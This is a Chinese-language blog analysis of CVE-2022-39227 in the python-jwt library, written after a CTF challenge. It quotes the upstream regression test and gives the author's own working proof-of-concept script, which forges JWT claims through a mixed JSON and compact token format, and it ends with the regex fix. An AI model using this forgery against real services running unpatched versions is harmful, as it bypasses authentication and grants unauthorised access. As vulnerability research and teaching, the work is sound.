CVE-2022-39227漏洞分析

前两天打祥云杯初赛的时候有一道很有意思的web题,其中涉及到了jwt伪造相关知识,多方查询找到了一个pyjwt包的CVE,编号为CVE-2022-39227,不过并没有详细的POC,所以就来自己分析一下这个漏洞

0x00 起因

前两天打祥云杯初赛的时候有一道很有意思的web题,FunWEB,其中涉及到了jwt伪造相关知识,多方查询找到了一个pyjwt包的CVE,编号为CVE-2022-39227,不过并没有详细的POC,但是有关于源码的修改内容,我们直接跟入github中的相关commit

0x01 分析

先跳过对漏洞的修补部分,直接看最下面,在test中新增加了一个对这个CVE的测试内容,我们来看一下

#test/vulnerability_vows.py  
""" Test claim forgery vulnerability fix """  
from datetime import timedelta  
from json import loads, dumps  
from test.common import generated_keys  
from test import python_jwt as jwt  
from pyvows import Vows, expect  
from jwcrypto.common import base64url_decode, base64url_encode  
​  
@Vows.batch  
class ForgedClaims(Vows.Context):  
   """ Check we get an error when payload is forged using mix of compact and JSON formats """  
   def topic(self):  
       """ Generate token """  
       payload = {'sub''alice'}  
       return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))  

   class PolyglotToken(Vows.Context):  
       """ Make a forged token """  
       def topic(self, topic):  
           """ Use mix of JSON and compact format to insert forged claims including long expiration """  
          [header, payload, signature] = topic.split('.')  
           parsed_payload = loads(base64url_decode(payload)) 
           parsed_payload['sub'] = 'bob'  
           parsed_payload['exp'] = 2000000000  
           fake_payload = base64url_encode((dumps(parsed_payload, separators=(','':'))))  
           return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' +signature + '"}' 
       class Verify(Vows.Context):  
           """ Check the forged token fails to verify """  
           @Vows.capture_error  
           def topic(self, topic):  
               """ Verify the forged token """  
               return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])  
           def token_should_not_verify(self, r):  
               """ Check the token doesn't verify due to mixed format being detected """  
               expect(r).to_be_an_error()  
               expect(str(r)).to_equal('invalid JWT format')

其实别的我们可以直接忽略,直接看PolyglotToken部分,里面就是fakeJWT的构造代码,可以看到其中先将原始的JWT拆分为[header, payload, signature]三部分,然后将payload也就是原始存储信息的部分取了出来,然后添加伪造内容后重新进行base64编码(separators=(',', ':')这部分相当于移除了直接编码时会添加的空格)生成了fakepayload,并且最终按如下形式构造生成新的JWT(其实此时已经不能说是JWT了,因为生成的字符串已经完全没有JWT的影子在了)

{" header.fake_payload.":"","protected":"header", "payload":"payload","signature":"signature"}

其实相比较这个我更好奇的是为什么会有这样的漏洞,我们先用含有漏洞的包尝试生成一个JWT并使用fakepayload解析

#testFakeJWT.py  
from json import *  
from python_jwt import *  
from jwcrypto import jwk  
payload={'username':"jlan","secret":"10010"}  
key=jwk.JWK.generate(kty='RSA', size=2048)  
jwtjson=generate_jwt(payload, key, 'PS256', timedelta(minutes=60))  
[header, payload, signature] = jwtjson.split('.')  
parsed_payload = loads(base64url_decode(payload))  
print(parsed_payload)  
parsed_payload['username']="admin"  
parsed_payload['secret']="10086"  
fakepayload=base64url_encode((dumps(parsed_payload, separators=(','':'))))  
fakejwt='{"' + header + '.' + fakepayload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'  
print(verify_jwt(fakejwt, key, ['PS256']))  

#{'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10010', 'username': 'jlan'}  
#({'alg': 'PS256', 'typ': 'JWT'}, {'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10086', 'username': 'root'})  
#进程已结束,退出代码0  
#可以看到我们的结果确实被解析了

可以看到我们的结果确实被解析了,那么我们使用fakeJWT跟入看看verify过程到底做了什么

0x02 验证

可以看到首先把JWT按照.来分割,并分别存入header, claims, _变量中,然后对header部分进行base64解码,此处解码会忽略掉非base64字符,并且对属性进行逐个验证(在ignore_not_implemented参数为空或False的前提下)

再向下看到if pub_key:部分,如果我们传入了密钥就会对JWT签名进行解析,我们直接跟入token.deserialize(jwt, pub_key)来看验证过程

可以看到首先对原始传入的JWT尝试进行json解析,然后再对其进行签名验证,其中_deserialize_signature将签名解析后取出,_deserialize_b64验证内容需不需要再进行base64解码

总之在这个函数前面部分的内容就是将json格式的数据进行解码,并将JWT所需要的对应属性赋给o这个对象,在我们构造的json中,o的所有属性都是来自原始正常JWT的,在完成解析后,self.objects将会被赋值为o,最后进入verify函数

可以看到在验证时所使用的所有数据都来自于原始的正常JWT,所以验证必定通过,那么下一步我们就来看解析的部分

0x03 解析

其实没什么可说的,因为解析只有一句代码

#header, claims, _ = jwt.split('.')  
parsed_claims = json_decode(base64url_decode(claims))

上文可见我们传入的json先以字符串的格式按点分割,第二部分为我们的fakepayload部分,我们只需要把原始payload取出进行修改即可

0x04 总结

明显我们能看出这个漏洞的产生是因为解析payload内容和验证签名的payload内容不一致造成的,而在后续的修复部分中,也针对JWT的内容进行了正则匹配,来防止json格式的注入

 _jwt_re = re.compile(r'^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]*$')
 def _check_jwt_format(jwt):
     if not _jwt_re.match(jwt):
         raise _JWTError('invalid JWT format')

引用内容:https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9

  • 发表于 2022-11-11 09:00:01
  • 阅读 ( 8681 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
BenBenben
BenBenben

1 篇文章

站长统计